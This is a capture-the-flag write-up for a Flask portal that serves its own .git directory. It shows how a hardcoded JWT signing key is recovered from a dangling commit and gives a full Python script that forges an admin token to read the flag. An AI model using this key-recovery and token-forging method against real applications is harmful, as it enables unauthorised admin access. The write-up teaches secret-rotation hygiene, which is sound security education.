A live "audit firm internal portal" (login/register, Flask), no handout.
GET / redirects to /login. The chall name is the whole spoiler, but the
fun part is that the app serves its own git repository on purpose.
Hint
git log only shows you the commits still reachable from a branch.
History doesn't actually go away when you "roll back."
Finding the leak
/.git/config, /.git/HEAD, /.git/logs/HEAD all return 200:
1@app.route("/.git/<path:filename>")
2def serve_git(filename):
3 ...
4 return send_from_directory(GIT_DIR, filename)
The reflog (served as a static file) hands over the whole commit graph. Two entries jump out immediately:
bae3ce9 logout, auto-login after register, flag placeholder
ddf9502 "Roll back to prevent leaks" switch auth to JWT, secrets loaded from .env
...
9716a7e commit (amend): Ready for deployment <- current master 1eb550d
Insight
git fsck on the dumped repo surfaces a dangling commit that's no
longer on any branch:
dangling commit 61b5551 "move secrets to .env"
Its parent still has the signing key hardcoded:
-JWT_SECRET = "sup3r_s3cr3t_l3m0n_key_2026_1234321"
+JWT_SECRET = os.environ.get("JWT_SECRET")
"Rolled back to prevent leaks" didn't rotate the key - it just moved the
same string into an untracked .env. The commit message practically
confesses this.
Pitfall
Two decoys live in the same history, both flag-shaped, neither real:
e4870b6:flag.txt/0add862:notes.txt->flag{r0l3s_4r3_h4rd_c0d3d_n0w_l0l}(wrong format entirely - should have been the first tell)- the dangling commit's parent also carries
L3m0n{jwt_t0k3ns_4r3_s4f3_r1ght_r1ght}, a placeholder with the right format but not the live FLAG value.
Forging admin
main.py decodes the session cookie with JWT_SECRET (HS256) and gates
/admin on payload["role"] == "admin":
1def create_token(username, role):
2 payload = {"sub": username, "role": role, "iat": ..., "exp": ...}
3 return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
4
5@app.route("/admin")
6def admin():
7 payload = decode_token(request.cookies.get("token"))
8 if payload.get("role") != "admin":
9 ... # 403
10 return render_template("admin.html", flag=FLAG)
With the recovered key, mint our own admin token and present it as the
token cookie:
1jwt.encode({"sub": "admin", "role": "admin", "iat": now, "exp": now + 3600},
2 "sup3r_s3cr3t_l3m0n_key_2026_1234321", algorithm="HS256")
GET /admin -> 200, with L3m0n{c679d7526a4659d00e3628677db04602} straight
from the instance's FLAG env var.
Show the full solve script
1#!/usr/bin/env python3
2"""Git Leak - forge an admin JWT with the key recovered from .git history.
3
4The audit portal exposes /.git/<path:filename> via its own route, so the
5reflog and a `git fsck`-visible dangling commit recover the HS256 signing
6key that an earlier "security fix" commit only pretended to rotate.
7
8Usage: python3 solve.py https://<instance>.l3m0nctf.xyz/
9"""
10import sys, re, datetime, urllib.request
11import jwt
12
13SECRET = "sup3r_s3cr3t_l3m0n_key_2026_1234321"
14
15
16def forge(role="admin", sub="admin"):
17 now = datetime.datetime.now(datetime.UTC)
18 return jwt.encode({"sub": sub, "role": role, "iat": now,
19 "exp": now + datetime.timedelta(hours=1)},
20 SECRET, algorithm="HS256")
21
22
23def get(base, path, token=None):
24 h = {}
25 if token:
26 h["Cookie"] = "token=" + token
27 r = urllib.request.Request(base.rstrip("/") + path, headers=h)
28 with urllib.request.urlopen(r, timeout=20) as resp:
29 return resp.read().decode()
30
31
32base = sys.argv[1]
33tok = forge()
34html = get(base, "/admin", tok)
35m = re.search(r"L3m0n\{[0-9a-f]{32}\}", html)
36print("FLAG:", m.group(0) if m else html[:300])
Note
Takeaway: "rolling back" a leaked secret in a new commit does not remove it from history, and does not rotate it either unless you actually change the value. Both the old commit and the still-current secret need to go.